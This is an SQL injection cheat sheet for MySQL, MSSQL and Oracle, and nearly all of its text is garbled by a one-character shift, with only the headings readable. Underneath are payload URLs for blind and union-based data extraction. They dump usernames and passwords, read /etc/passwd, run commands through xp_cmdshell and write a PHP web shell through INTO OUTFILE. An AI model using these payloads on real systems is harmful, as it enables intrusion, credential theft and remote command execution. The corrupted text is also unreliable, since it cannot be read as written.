ATS�VNTKC�QDPTHQD�SG@S�SGD�VDA�@OOKHB@SHNM�HR�TRHMF�@�OQHUHKDFDC�@BBNTMS�

�� $GDBJ�VG@S�TRDQ�SGD�VDA�@OOKHB@SHNM�HR�KNFFDC�HMSN�SGD�C@S@A@RD�@R�

6RDQM@LD����"/%�����4:45&.?64&3��
1@RRVNQC��@MXSGHMF

0M�SGD�C@S@A@RD�RDQUDQ
�SGD�PTDQX�RSQHMF�VNTKC�KNNJ�RNLDSGHMF�KHJD�
4&-&$5�6RDQR�TRDQ
�6RDQR�O@RRVNQC�'30.�6RDQR�8)&3&�6RDQR�TRDQ���a��"/%�����
4:45&.?64&3��b�"/%�6RDQR�O@RRVNQC���a@MXSGHMFb�

NTSOTS���4XMS@W�DQQNQ�BNMUDQSHMF�MU@QBG@Q�U@KTD��R@��SN�@�BNKTLM�C@S@�SXOD�HMS�

'QNL�RSDOR���@MC��
�VD�JMNV�ENQ�BDQS@HM�SG@S�SGD�C@S@A@RD�HR�QTMMHMF�.4�42-�4DQUDQ
�����@R�SGD�LNRS�OQHUHKDFDC�TRDQ� 5GDQDENQD
�HS�HR�KHJDKX�SG@S�SGD�91?$.%4)&--�RSNQDC
OQNBDCTQD�VHKK�AD�DM@AKDC�@MC�@U@HK@AKD�SN�SGD�BTQQDMS�C@S@A@RD�TRDQ�

�� #DENQD�@SSDLOSHMF�SN�DWDBTSD�SGD�OQNBDCTQD
�NMD�EHM@K�RSDO�HR�CTD�SN�RODBHEHB@KKX�GNV
VD�B@KK�DWDB� *M�SGHR�DW@LOKD
�VD�@QD�B@KKHMF�DWDB�@R�@�MDV�PTDQX
�VGHBG�LD@MR�SG@S�VD
VHKK�G@UD�SN�SDQLHM@SD�SGD�OQDUHNTR�PTDQX� 4HMBD�VD�B@MMNS�RDD�SGD�DW@BS�PTDQX�RSQHMF�@R
@�VDA�TRDQ
�VD�VHKK�ODQENQL�@�RHLOKD�SDRS�SN�UDQHEX�SG@S�SGD�C@S@A@RD�VHKK�@KKNV�TR�SN
BKNRD�NEE�SGD�OQDUHNTR�PTDQX�@MC�QTM�SGD�MDV�NMD�VHSGNTS�@MX�DQQNQ�

6RDQM@LD� ���V@HSENQ�CDK@X�������������
1@RRVNQC��@MXSGHMF

�� &WDBTSD�SGD�91?$.%4)&--�RSNQDC�OQNBDCTQD� 4MHEE�*$.1�SQ@EEHB�NM�XNTQ�@RRDRRLDMS
GNRS�	5BOCTLO
�8HQDRG@QJ
�DSB
�

6RDQM@LD����DWDB�L@RSDQ��WO?BLCRGDKK��OHMF����������������
1@RRVNQC��@MXSGHMF

4&-&$5�6RDQR�TRDQ
�6RDQR�O@RRVNQC�'30.�6RDQR�8)&3&�6RDQR�TRDQ���a���DWDB
L@RSDQ��WO?BLCRGDKK��OHMF����������������b�"/%�6RDQR�O@RRVNQC���a@MXSGHMFb�

*E�XNT�QDBDHUD�*$.1�DBGN�QDPTDRS�SQ@EEHB�NQHFHM@SHMF�EQNL�SGD�S@QFDS
�XNT�JMNV�SG@S�XNT
@QD�QTMMHMF�@QAHSQ@QX�BNLL@MCR�@R�@M�@CLHMHRSQ@SHUD�TRDQ�	4"
� 6MENQSTM@SDKX�HM�SGD
B@RDR�*�G@UD�ENTMC�SGHR�UTKMDQ@AHKHSX�NM
�NTSOTS�V@R�MNS�RDMS�CHQDBSKX�SN�SGD�AQNVRDQ�
5G@S�HR�VGX�SGD�*$.1�SDRS�HR�CNMD� #TS�HS�HR�@KRN�ONRRHAKD�SN�@CC�@�TRDQ
�DSB�

Manual SQL Injection (PHP/MYSQL Server)

/TLADQ�NE�BNKTLMR�DMTLDQ@SHNM

6RHMF��0QCDQ�AX��SN�CDSDQLHMD�SGD�MTLADQ�NE�BNKTLMR�HM�@�FHUDM�PTDQX�RSQHMF�ENQ�TRD�VHSG
AKHMC�RPK�HMIDBSHNM�

GSSO���<RHSD�BNL>�O@FD�OGO HC���NQCDQ�AX������



8GDM�VD�O@RR����
�HS�RGNTKC�R@X��TMJMNVM�BNKTLM�HM�NQCDQ�AX�BK@TRD���8D�TRD�SGD
OQNBDRR�NE�DKHLHM@SHNM�SN�CDSDQLHMD�SGD�MTLADQ�NE�BNKTLMR��/DWS�VD�VNTKC�G@KUD�SGD
MTLADQ�

GSSO���<RHSD�BNL>�O@FD�OGO HC���NQCDQ�AX�����
"F@HM�VD�VNTKC�FDS�@M�DQQNQ��-DSR�SQX�RNLDSGHMF�KHJD�����

GSSO���<RHSD�BNL>�O@FD�OGO HC���NQCDQ�AX�����
8GDM�VD�CN�SGD�MTLADQ���
�SGD�PTDQX�BNLOKDSDR�ITRS�EHMD��8D�@QD�BKNRD
�ATS�SGDQD
LHFGS�AD�LNQD�

GSSO���<RHSD�BNL>�O@FD�OGO HC���NQCDQ�AX�����
"MNSGDQ�DQQNQ�HM�SGD�NQCDQ�AX�BK@TRD��8D�JMNV�SGDQD�HR�LNQD�SG@M���
�ATS�KDRR�SG@M����

GSSO���<RHSD�BNL>�O@FD�OGO HC���NQCDQ�AX�����
5GHR�O@RRDC�ITRS�EHMD��.HFGS�AD�LNQD
�KDSR�SDRS�

GSSO���<RHSD�BNL>�O@FD�OGO HC���NQCDQ�AX�����
&QQNQ��5GHR�LD@MR�VD�G@UD����BNKTLMR��/NV�VD�@QD�QD@CX�ENQ�RNLD�AKHMC�42-�HMIDBSHNM�
5GD�QD@RNM�ENQ�CNHMF�SGHR�HR�ADB@TRD�SGD�TMHNM�RDKDBS�PTDQX�LTRS�G@UD�SGD�R@LD�MTLADQ
NE�BNKTLMR�VGDM�RDKDBSHMF�EQNL�@�PTDQX�
/NV�VD�QTM�SGD�ENKKNVHMF�NM�SGD�RHSD�@MC�RS@QS�SDRSHMF�ENQ�RNLD�S@AKD�M@LDR�

UNION ALL SELECT to enum db info

GSSO���<RHSD�BNL>�O@FD�OGO HC���TMHNM�@KK�RDKDBS��
�
�
�
�
�
�
�
�
�
��
��
����

GSSO���<RHSD�BNL>�O@FD�OGO ��� TMHNM�@KK�RDKDBS��
�
�
�
�
�
�
�
�
�
��
��
����
NQ

GSSO���<RHSD�BNL>�O@FD�OGO �MTKK TMHNM�@KK�RDKDBS��
�
�
�
�
�
�
�
�
�
��
��
����

5GD�MTLADQR��
�
�@MC���CHROK@X�NM�SGD�RBQDDM�RN�VD�JMNV�SG@S�SGNRD�@QD�SGD�BNKTLMR
SG@S�VHKK�DBGN�A@BJ�C@S@�ENQ�TR�

GSSO���<RHSD�BNL>�O@FD�OGO �MTKK TMHNM�@KK�RDKDBS
�
�
TRDQ	

!!UDQRHNM
�
�
�
!!C@S@CHQ
�
�
��
��
����

GSSO���<RHSD�BNL>�O@FD�OGO �MTKK TMHNM�@KK�RDKDBS��
�
KN@C?EHKD	��DSB�
O@RRVC�

�
�
�
�
�
�
�
��
��
����

@MC
GSSO���<RHSD�BNL>�O@FD�OGO �MTKK TMHNM�@KK�RDKDBS
�
�
KN@C?EHKD	0x2f6574632f706173737764

�
�
�
�
�
�
�
��
��
����

:NT�B@M�TRD�SGHR�HE�XNT�QTM�HMSN�@�RDQUDQ�SG@S�G@R�L@FHB�PTNSDR�STQMDC�NM�

4SQHMF�&MBNCDQ�
VFDS�GSSO���VVV�FQ@XRB@KD�QDRD@QBG�NQF�MDV�BNCD�4SQHMF&MBNCDQ�S@Q
S@Q��WUE�4SQHMF&MBNCDQ�S@Q
BC�4SQHMF&MBNCDQ
L@JD



��BNMUDQS��LW��DSB�O@RRVC
&MBNCDC�ENQ�.:42-�*MIDBSHNMR�������
0QHFHM@K���DSB�O@RRVC
&MBNCDC���W�E�������E������������

Blind SQL Injection

GSSO���<RHSD�BNL>�O@FD�OGO HC���@MC������

GSSO���<RHSD�BNL>�O@FD�OGO HC���@MC������

5DRS�HE�RTARDKDBS�VNQJR

VGDM�RDKDBSR�CNM�S�VNQJ�SGDM�VD�TRD�RTARDKDBS

H�D

GSSO���<RHSD�BNL>�O@FD�OGO HC���@MC�	RDKDBS��
��

HE�O@FD�KN@CR�MNQL@KKX�SGDM�RTARDKDBSR�VNQJ�

SGDM�VD�FNMM@�RDD�HE�VD�G@UD�@BBDRR�SN�LXRPK�TRDQ

H�D

GSSO���<RHSD�BNL>�O@FD�OGO HC���@MC�	RDKDBS���EQNL�LXRPK�TRDQ�KHLHS��
�
��

HE�O@FD�KN@CR�MNQL@KKX�VD�G@UD�@BBDRR�SN�LXRPK�TRDQ�@MC�SGDM�K@SDQ�VD�B@M�OTKK�RNLD
O@RRVNQC�TRHFM�KN@C?EHKD	
�ETMBSHNM�@MC�065'*-&�

�
��$GDBJ�S@AKD�@MC�BNKTLM�M@LDR

5GHR�HR�O@QS�VGDM�FTDRRHMF�HR�SGD�ADRS�EQHDMC��


H�D�

GSSO���<RHSD�BNL>�O@FD�OGO HC���@MC�	RDKDBS���EQNL�TRDQR�KHLHS��
�
���	VHSG�KHLHS��
�
NTQ�PTDQX�GDQD�QDSTQMR���QNV�NE�C@S@
�B@TRD�RTARDKDBS�QDSTQMR�NMKX���QNV
�SGHR�HR�UDQX
HLONQS@MS�


SGDM�HE�SGD�O@FD�KN@CR�MNQL@KKX�VHSGNTS�BNMSDMS�LHRRHMF
�SGD�S@AKD�TRDQR�DWHSR�
HE�XNT�FDS�'"-4&�	RNLD�@QSHBKD�LHRRHMF

�ITRS�BG@MFD�S@AKD�M@LD�TMSHK�XNT�FTDRR�SGD�QHFGS
NMD��


KDS�R�R@X�SG@S�VD�G@UD�ENTMC�SG@S�S@AKD�M@LD�HR�TRDQR
�MNV�VG@S�VD�MDDC�HR�BNKTLM
M@LD�

SGD�R@LD�@R�S@AKD�M@LD
�VD�RS@QS�FTDRRHMF��-HJD�H�R@HC�ADENQD�SQX�SGD�BNLLNM�M@LDR�ENQ
BNKTLMR�

H�D

GSSO���<RHSD�BNL>�O@FD�OGO HC���@MC�	RDKDBS�RTARSQHMF	BNMB@S	�
O@RRVNQC

�
�
�EQNL
TRDQR�KHLHS��
�
��

HE�SGD�O@FD�KN@CR�MNQL@KKX�VD�JMNV�SG@S�BNKTLM�M@LD�HR�O@RRVNQC�	HE�VD�FDS�E@KRD�SGDM
SQX�BNLLNM�M@LDR�NQ�ITRS�FTDRR




GDQD�VD�LDQFD���VHSG�SGD�BNKTLM�O@RRVNQC
�SGDM�RTARSQHMF�QDSTQMR�SGD�EHQRS�BG@Q@BSDQ
	
�
�


�
��1TKK�C@S@�EQNL�C@S@A@RD

VD�ENTMC�S@AKD�TRDQR�H�BNKTLMR�TRDQM@LD�O@RRVNQC�RN�VD�FNMM@�OTKK�BG@Q@BSDQR�EQNL
SG@S�

GSSO���<RHSD�BNL>�O@FD�OGO HC���@MC�@RBHH	RTARSQHMF		4&-&$5
BNMB@S	TRDQM@LD
�W�@
O@RRVNQC
�EQNL�TRDQR�KHLHS��
�

�
�

���

NJ�SGHR�GDQD�OTKKR�SGD�EHQRS�BG@Q@BSDQ�EQNL�EHQRS�TRDQ�HM�S@AKD�TRDQR�

RTARSQHMF�GDQD�QDSTQMR�EHQRS�BG@Q@BSDQ�@MC���BG@Q@BSDQ�HM�KDMFSG��@RBHH	
�BNMUDQSR�SG@S��
BG@Q@BSDQ�HMSN�@RBHH�U@KTD

@MC�SGDM�BNLO@QD�HS�VHSG�RHLANK�FQD@SDQ�SGDM����

RN�HE�SGD�@RBHH�BG@Q�FQD@SDQ�SGDM���
�SGD�O@FD�KN@CR�MNQL@KKX��	536&


VD�JDDO�SQXHMF�TMSHK�VD�FDS�E@KRD�

GSSO���<RHSD�BNL>�O@FD�OGO HC���@MC�@RBHH	RTARSQHMF		4&-&$5
BNMB@S	TRDQM@LD
�W�@
O@RRVNQC
�EQNL�TRDQR�KHLHS��
�

�
�

���

VD�FDS�536&
�JDDO�HMBQDLDMSHMF

GSSO���<RHSD�BNL>�O@FD�OGO HC���@MC�@RBHH	RTARSQHMF		4&-&$5
BNMB@S	TRDQM@LD
�W�@
O@RRVNQC
�EQNL�TRDQR�KHLHS��
�

�
�

���

536&�@F@HM
�GHFGDQ

GSSO���<RHSD�BNL>�O@FD�OGO HC���@MC�@RBHH	RTARSQHMF		4&-&$5
BNMB@S	TRDQM@LD
�W�@
O@RRVNQC
�EQNL�TRDQR�KHLHS��
�

�
�

���

'"-4&���

RN�SGD�EHQRS�BG@Q@BSDQ�HM�TRDQM@LD�HR�BG@Q	��
��6RHMF�SGD�@RBHH�BNMUDQSDQ�VD�JMNV�SG@S
BG@Q	��
�HR�KDSSDQ��B��

SGDM�KDS�R�BGDBJ�SGD�RDBNMC�BG@Q@BSDQ�

GSSO���<RHSD�BNL>�O@FD�OGO HC���@MC�@RBHH	RTARSQHMF		4&-&$5
BNMB@S	TRDQM@LD
�W�@
O@RRVNQC
�EQNL�TRDQR�KHLHS��
�

�
�

���

/NSD�SG@S�H�L�BG@MFDC�
�
��SN�
�
��SN�FDS�SGD�RDBNMC�BG@Q@BSDQ��	MNV�HS�QDSTQMR�SGD
RDBNMC�BG@Q@BSDQ
���BG@Q@BSDQ�HM�KDMFGS


GSSO���<RHSD�BNL>�O@FD�OGO HC���@MC�@RBHH	RTARSQHMF		4&-&$5
BNMB@S	TRDQM@LD
�W�@
O@RRVNQC
�EQNL�TRDQR�KHLHS��
�

�
�

���

536&
�SGD�O@FD�KN@CR�MNQL@KKX
�GHFGDQ�



GSSO���<RHSD�BNL>�O@FD�OGO HC���@MC�@RBHH	RTARSQHMF		4&-&$5
BNMB@S	TRDQM@LD
�W�@
O@RRVNQC
�EQNL�TRDQR�KHLHS��
�

�
�

����

'"-4&
�KNVDQ�MTLADQ�

GSSO���<RHSD�BNL>�O@FD�OGO HC���@MC�@RBHH	RTARSQHMF		4&-&$5
BNMB@S	TRDQM@LD
�W�@
O@RRVNQC
�EQNL�TRDQR�KHLHS��
�

�
�

����

536&
�GHFGDQ�

GSSO���<RHSD�BNL>�O@FD�OGO HC���@MC�@RBHH	RTARSQHMF		4&-&$5
BNMB@S	TRDQM@LD
�W�@
O@RRVNQC
�EQNL�TRDQR�KHLHS��
�

�
�

����

'"-4&���

VD�JMNV�SG@S�SGD�RDBNMC�BG@Q@BSDQ�HR�BG@Q	���
�@MC�SG@S�HR��H���8D�G@UD��BH��RN�E@Q

RN�JDDO�HMBQDLDMSHMF�TMSHK�XNT�FDS�SGD�DMC��	VGDM����QDSTQMR�E@KRD�VD�JMNV�SG@S�VD
G@UD�QD@BG�SGD�DMC
�

File Upload Via SQL Injection 	.X42-


5GD�'*-&�OQHUHKDFD

*E�VD�V@MS�SN�QD@C�NQ�VQHSD�SN�EHKDR�VD�G@UD�SN�G@UD�SGD�'*-&�OQHUHKDFD�
'HQRS�RDD�VHBG�TRDQ�VD�@QD�HM�CA�VHSG�BNCD�

GSSO���<RHSD�BNL>�O@FD�OGO HC��c�6/*0/�4&-&$5�BTQQDMS?TRDQ
MTKK���

XNT�B@M�OTS�BTQQDMS?TRDQ�NQ�TRDQ	
�NQ�RXRSDL?TRDQ

5GHR�VHKK�FHUD�TR�SGD�TRDQM@LD!RDQUDQ����	MNQL@KKX���!KNB@KGNRS


�
:NT�B@M�@KRN�TRD�SGD�ENKKNVHMF�AKHMC�42-�HMIDBSHNMR�PTDQX

ATS�HS�R�UDQX�ANNQHMF����

(TDRR�@�M@LD�
GSSO���<RHSD�BNL>�O@FD�OGO HC��c�"/%�TRDQ	
�-*,&�aQNNS

#QTSD�SGD�M@LD�KDSSDQ�AX�KDSSDQ�
GSSO���<RHSD�BNL>�O@FD�OGO HC��c�"/%�.*%		TRDQ	


�
�
�bL
GSSO���<RHSD�BNL>�O@FD�OGO HC��c�"/%�.*%		TRDQ	


�
�
�bL
GSSO���<RHSD�BNL>�O@FD�OGO HC��c�"/%�.*%		TRDQ	


�
�
�bL�DBB���

/NV�VD�LTRS�@BBDR�SN�LXRPK�TRDQ�RN��

GSSO���<RHSD�BNL>�O@FD�OGO HC��c�6/*0/�4&-&$5��
�
�
EHKD?OQHU
��'30.�LXRPK�TRDQ
8)&3&�TRDQ���aTRDQM@LD

ENQ�TRDQM@LD�VD�OTS�SGD�M@LD�NE�BTQQDMS?TRDQ�
:NT�B@M�@KRN�G@UD�@�KNNJ�@S�SGD�VGNKD�LXRPK�TRDQ�S@AKD�VHSGNTS�SGD�8)&3&�BK@TRD
�ATS�*
BGNRD�SGHR�V@X�ADB@TRD�XNT�B@M�D@RHKX�@C@OS�SGD�HMIDBSHNM�ENQ�AKHMC�42-�HMIDBSHNM�

GSSO���<RHSD�BNL>�O@FD�OGO HC��c�"/%�.*%		4&-&$5�EHKD?OQHU�'30.�LXRPK�TRDQ�8)&3&
TRDQ���aTRDQM@LDb

�
�
���a:



/@STQ@KKX
�SGHR�HS�R�@�AKHMC�RN�XTN�B@M�S�VQHSD��
�
����ADBNTRD�HS�R�MNS�@�TMHNM�RDKDBS��	ATS
HS�R�RTARDKDBSR�


:NT�B@M�@KRN�QDBHDUD�SGD�'*-&�OQHUHKDFD�HMEN�EQNL�SGD�HMENQL@SHNM�RBGDL@�S@AKD�NM�.X42-
��

GSSO���<RHSD�BNL>�O@FD�OGO HC��c�6/*0/�4&-&$5�FQ@MSDD
HR?FQ@MS@AKD�'30.
HMENQL@SHNM?RBGDL@�TRDQ?OQHUHKDFDR�8)&3&�OQHUHKDFD?SXOD���aEHKDb�"/%�FQ@MSDD�KHJD
a�TRDQM@LD�

-HJD�*/�AKHMC�RPKH�

�c�"/%�.*%		4&-&$5�HR?FQ@MS@AKD�'30.�HMENQL@SHNM?RBGDL@�TRDQ?OQHUHKDFDR�8)&3&
OQHUHKDFD?SXOD���aEHKDb�"/%�FQ@MSDD�KHJD�a�TRDQM@LD�b

�
�
�b:

The web directory problem

0MBD�VD�JMNV�HE�VD�B@M�QD@C�VQHSD�EHKDR�VD�G@UD�SN�BGDBJ�NTS�SGD�QHFGS�O@SG��*M�SGD�LNRS
B@RDR�SGD�.X42-�RDQUDQ�HR�QTMMHMF�NM�SGD�R@LD�L@BGHMD�@R�SGD�VDARDQUDQ�CNDR�@MC�SN
@BBDRR�NTQ�EHKDR�K@SDQ�VD�V@MS�SN�VQHSD�SGDL�NMSN�SGD�VDA�CHQDBSNQX��*E�XNT�CDEHMD�MN
O@SG
�*/50�065'*-&�VHKK�VQHSD�HMSN�SGD�C@S@A@RD�CHQDBSNQX�

0M�.X42-���VD�B@M�FDS�@M�DQQNQ�LDRR@FD�CHROK@XHMF�SGD�C@S@CHQ�
GSSO���<RHSD�BNL>�O@FD�OGO HC��c�6/*0/�4&-&$5�KN@C?EHKD	b@�

MTKK��

0M�.X42-���VD�TRD�
GSSO���<RHSD�BNL>�O@FD�OGO HC��c�6/*0/�4&-&$5�!!C@S@CHQ
MTKK��

5GD�CDE@TKS�O@SG�ENQ�EHKD�VQHSHMF�SGDM�HR�C@S@CHQ=C@S@A@RDM@LD�
:NT�B@M�EHFTQD�NTS�SGD�C@S@A@RDM@LD�VHSG�
GSSO���<RHSD�BNL>�O@FD�OGO HC��c�6/*0/�4&-&$5�C@S@A@RD	

MTKK��

/NV�SGDRD�HMENQL@SHNM�@QD�G@QC�SN�FDS�VHSG�AKHMC�42-�HMIDBSHNM��#TS�XNT�CNMbS�MDDC�SGDL
MDBDRR@QHKX��+TRS�L@JD�RTQD�XNT�EHMC�NTS�SGD�VDA�CHQDBSNQX�@MC�TRD�RNLD�����SN�ITLO
A@BJ�EQNL�SGD�C@S@CHQ�

*E�XNT�@QD�KTBJX�SGD�RBQHOS�TRDR�LXRPK?QDRTKS	

�LXRPK?EQDD?QDRTKS	

�LXRPK?EDSBG?QNV	

NQ�RHLHK@Q�ETMBSHNMR�@MC�CHROK@XR�V@QMHMF�LDRR@FDR��5GDM�XNT�B@M�D@RHKX�EHMC�NTS�SGD
VDARDQUDQ�CHQDBSNQX�AX�KD@UHMF�SGNRD�ETMBSHNMR�VHSG�MN�HMOTS�SG@S�SGDX�VHKK�SGQNV�@
V@QMHMF�LDRR@FD�KHJD�

8@QMHMF��LXRPK?EDSBG?QNV	
��RTOOKHDC�@QFTLDMS�HR�MNS�@�U@KHC�.X42-�QDRTKS�QDRNTQBD�HM
�VDA�RDQUDQ�O@SG�EHKD�OGO�NM�KHMD�WWW

5N�OQNUNJD�@M�DQQNQ�KHJD�SGHR�SQX�RNLDSGHMF�KHJD�
GSSO���<RHSD�BNL>�O@FD�OGO HC��c�"/%���b��NQ�@CC�RNLD�KHJD�O@Q@L<>��

5GHR�VNQJR�@S�SGD�LNRS�VDARHSDR��*E�XNTbQD�MNS�KTBJX�XNT�G@UD�SN�FTDRR�SGD�VDA�CHQDBSNQX
NQ�SQX�SN�TRD�KN@C?EHKD	
�SN�EDSBG�EHKDR�NM�SGD�RDQUDQ�VGHBG�LHFGS�GDKO�XNT��)DQD�HR�@�MDV
KHRS�NE�ONRRHAKD�KNB@SHNMR�ENQ�SGD�"O@BGD�BNMEHFTQ@SHNM�EHKD
�VGHBG�L@X�RONHK�SGD
VDACHQDBSNQX�O@SG�

�DSB�HMHS�C�@O@BGD
�DSB�HMHS�C�@O@BGD�
�DSB�GSSOC�GSSOC�BNME
�DSB�@O@BGD�@O@BGD�BNME



�DSB�@O@BGD�GSSOC�BNME
�DSB�@O@BGD��@O@BGD��BNME
�DSB�@O@BGD��GSSOC�BNME
�TRQ�KNB@K�@O@BGD��BNME�GSSOC�BNME
�TRQ�KNB@K�@O@BGD�BNME�GSSOC�BNME
�NOS�@O@BGD�BNME�GSSOC�BNME
�GNLD�@O@BGD�GSSOC�BNME
�GNLD�@O@BGD�BNME�GSSOC�BNME
�DSB�@O@BGD��RHSDR�@U@HK@AKD�CDE@TKS
�DSB�@O@BGD��UGNRSR�C�CDE@TKS?UGNRS�HMBKTCD

$GDBJ�NTS�SGD�VDARDQUDQR�M@LD�EHQRS�AX�QD@CHMF�SGD�GD@CDQ�HMEN�@MC�SGDM�EHFTQD�NTS
VGDQD�HS�TRT@KKX�RSNQDR�HSR�BNMEHFTQ@SHNM�EHKDR��5GHR�@KRN�CDODMCR�NM�SGD�04�SXOD�	�MHW�
VHM
�RN�XNT�L@X�V@MS�SN�BGDBJ�SG@S�NTS�SNN��6RD�!!UDQRHNM�NQ�UDQRHNM	
�SN�EHMC�SG@S
NTS�
GSSO���<RHSD�BNL>�O@FD�OGO HC��c�6/*0/�4&-&$5�!!UDQRHNM
MTKK���
�MS�KNF�@S�SGD�DMC�LD@MR�HSbR�@�VHMCNVR�ANW
��KNF�NMKX�LD@MR�HSbR��MHW�ANW�
0Q�S@JD�@�KNNJ�@S�SGD�O@SGR�HM�DQQNQ�LDRR@FDR�NQ�@S�SGD�GD@CDQ�

5XOHB@K�VDA�CHQDBSNQHDR�SN�FTDRR�BNTKC�AD�

�U@Q�VVV�QNNS�
�U@Q�VVV�CAM@LD�O@SG�
�U@Q�VVV�RHSDM@LD�GSCNBR�
�U@Q�VVV�KNB@KGNRS�GSCNBR
��

#@RHB@KKX�XNT�RGNTKC�AD�@KKNVDC�SN�VQHSD�HMSN�@MX�CHQDBSNQX�VGDQD�SGD�.X42-�RDQUDQ�G@R
VQHSD�@BBDRR�SN
�@R�KNMF�@R�XNT�G@UD�SGD�'*-&�OQHUHKDFD��)NVDUDQ
�@M�"CLHMHRSQ@SNQ�B@M
KHLHS�SGD�O@SG�ENQ�OTAKHB�VQHSD�@BBDRR�

Create useful files

0MBD�XNT�EHFTQDC�NTS�SGD�QHFGS�CHQDBSNQX�XNT�B@M�RDKDBS�C@S@�@MC�VQHSD�HS�HMSN�@�EHKD�VHSG�

GSSO���<RHSD�BNL>�O@FD�OGO HC��c�6/*0/�4&-&$5�BNKTLMM@LD
MTKK�'30.�S@AKDM@LD
*/50�065'*-&�a������VDA�O@SG�EHKD�SWS

	�RNLDSHLDR�EQNL�LXRPK�TRDQ�

0Q�SGD�VGNKD�C@S@�VHSGNTS�JMNVHMF�SGD�S@AKD�BNKTLM�M@LDR�

GSSO���<RHSD�BNL>�O@FD�OGO HC��c�03�����*/50�065'*-&�a������VDA�O@SG�EHKD�SWS

*E�XNT�V@MS�SN�@UNHC�ROKHSSHMF�BG@QR�ADSVDDM�SGD�C@S@
�TRD�*/50�%6.1'*-&�HMRSD@C�NE
*/50�065'*-&�

:NT�B@M�@KRN�BNLAHMD�KN@C?EHKD	
�VHSG�HMSN�NTSEHKD
�KHJD�OTSSHMF�@�BNOX�NE�@�EHKD�SN�SGD
@BBDRR@AKD�VDARO@BD�

GSSO���<RHSD�BNL>�O@FD�OGO HC��c�"/%�����6/*0/�4&-&$5�KN@C?EHKD	b_b
�*/50�065'*-&
a_

*M�RNLD�B@RDR�*bC�QDBNLLDMC�SN�TRD

GSSO���<RHSD�BNL>�O@FD�OGO HC��c�"/%�����6/*0/�4&-&$5�GDW	KN@C?EHKD	b_b

�*/50
065'*-&�a_



@MC�CDBQXOS�HS�K@SDQ�VHSG�SGD�1)1�$G@QRDS�&MBNCDQ
�DRODBH@KKX�VGDM�QD@CHMF�SGD�.X42-
C@S@�EHKDR�

0Q�XNT�B@M�VQHSD�VG@SDUDQ�XNT�V@MS�HMSN�@�EHKD�

GSSO���<RHSD�BNL>�O@FD�OGO HC��c�"/%�����6/*0/�4&-&$5�aBNCDb
MTKK�*/50�065'*-&�a���
���VDA�RDQUDQ�CHQ�EHKD�OGO

)DQD�@QD�RNLD�TRDETK�BNCD�DW@LOKDR�

"�/NQL@K�BNCD�ENQ�@�RGDKK�	1)1
�

� �RXRSDL	�?(&5<�KNK�>
�� �

HS�R�UDQX�HLONQS@MS�SG@S�SGD�1)1�R@ED?LNCD�LTRS�AD�STQMDC�NEE���
*E�HR�STQMDC�NM�L@XAD�VD�B@M�AXO@RR�RXLOKD�VHSG�@�GDW�BNMUDQSDQ�

VD�B@M�BNMUDQS�SGD�BNCD�ENQ�AXO@RR�."(*$?2605&4?(1$�EHKSDQ�
	MNQL@KKX�XTN�B@MR�DD�HE�GDW?LNCD�VNQJ�VHSG�@�KN@C?EHKD	O@SGHMGDW


KHJD�KN@C?EHKD	�W�E�������E������������
�ENQ��DSB�O@RRVNQC�	���TRT@KKX�O@SG


VD�B@M�RDD�@�KNS�NE�HMENQL@SHNMR�@ANTS�SGD�VDARDQUDQ�BNMEHFTQ@SHNM�VHSG�

� �OGOHMEN	
�� �

���42-�26&3:
� ������QDRTKS���LXRPK?PTDQX	�?(&5<�PTDQX�>
������ �
5QX�SN�TRD�KN@C?EHKD	
�SN�FDS�SGD�C@S@A@RD�BNMMDBSHNM�BQDCDMSH@KR
�NQ�SQX�SN�HMBKTCD�@M
DWHRSHMF�EHKD�NM�SGD�VDARDQUDQ�VGHBG�G@MCKDR�SGD�LXRPK�BNMMDBS�

3&LDLADQ�SG@S�SGD�PTNSDR�@QD�QDPTHQDC�@MC�RN�HE�SGD�DQQNQ�@QD�KHJD�

DQQNQ�CA�MD@Q��=�VVV�QNNS�O@SG�O@FD�OGO�=
L@XAD�HS�R�ADBNTRD�SGD�PTNSDR�@QD�MNS�@KKNVDC�	VHSG�RODBH@K�EHKSDQ�TRDC�ENQ�@MSH�WRR


4N�@S�SGD�DMC��S

SQL Injection Against Oracle

Error Based SQL Injection
GSSO���<RHSD�BNL>�O@FD�OGO HC�TSK?HM@CCQ�FDS?GNRS?@CCQDRR		RDKDBS�A@MMDQ�EQNL
U�UDQRHNM�VGDQD�QNVMTL��

��

GSSO���<RHSD�BNL>�O@FD�OGO HC�TSK?HM@CCQ�FDS?GNRS?@CCQDRR		4&-&$5�TRDQ�'30.�CT@K

�
�
5GHR�RGNTKC�VNQC�@F@HMRS�0Q@BKD��
�H
@MC���F

GSSO���<RHSD�BNL>�O@FD�OGO HC�b�@MC���BSWRXR�CQHSGRW�RM	�
	RDKDBS�TRDQ�EQNL�CT@K

��
5GHR�HR�@M�@KSDQM@SHUD�SG@S�RGNTKC�VNQJ�@F@HMRS���F

GSSO���<RHSD�BNL>�O@FD�OGO HC�TSK?HM@CCQ�FDS?GNRS?@CCQDRR		4&-&$5�FKNA@K?M@LD
'30.�FKNA@K?M@LD

��



GSSO���<RHSD�BNL>�O@FD�OGO HC�TSK?HM@CCQ�FDS?GNRS?@CCQDRR		4DKDBS�FQ@MSDC?QNKD�EQNL�	
RDKDBS�QNVMTL�Q
�FQ@MSDC?QNKD�EQNL�TRDQ?QNKD?OQHUR
�VGDQD�Q��

��

GSSO���<RHSD�BNL>�O@FD�OGO HC�TSK?HM@CCQ�FDS?GNRS?@CCQDRR		4DKDBS�FQ@MSDC?QNKD�EQNL�	
RDKDBS�QNVMTL�Q
�FQ@MSDC?QNKD�EQNL�TRDQ?QNKD?OQHUR
�VGDQD�Q��

��

GSSO���<RHSD�BNL>�O@FD�OGO HC�TSK?HM@CCQ�FDS?GNRS?@CCQDRR		RDKDBS
RXR?BNMSDWS	�64&3&/7�
��%#?/".&�
�'30.�CT@K

��

Union Based SQL Injection
GSSO���<RHSD�BNL>�O@FD�OGO HC�MTKK�TMHNM�@KK�RDKDBS�TRDQM@LD�'30.�@KK?TRDQR��
GSSO���<RHSD�BNL>�O@FD�OGO HC�MTKK�TMHNM�@KK�RDKDBS�BNMB@S	TRDQM@LD
��
�'30.
@KK?TRDQR��

Obtaining the Current User's Password Hash in Oracle with UNION SELECT ALL
(Privileged Database User Account Required)

�� &MTLDQ@SD�SGD�MTLADQ�NE�BNKTLMR�EQNL�SGD�NQHFHM@K�PTDQX�AX�TSHKHYHMF�SGD��03%&3
#:��SDBGMHPTD� #DFHM�VHSG�@�QDK@SHUDKX�GHFG�MTLADQ�SN�SDRS�VGDSGDQ�SGD�O@FD�KN@CR� *E
RN
�CHUHCD�AX�G@KE� *E�MNS
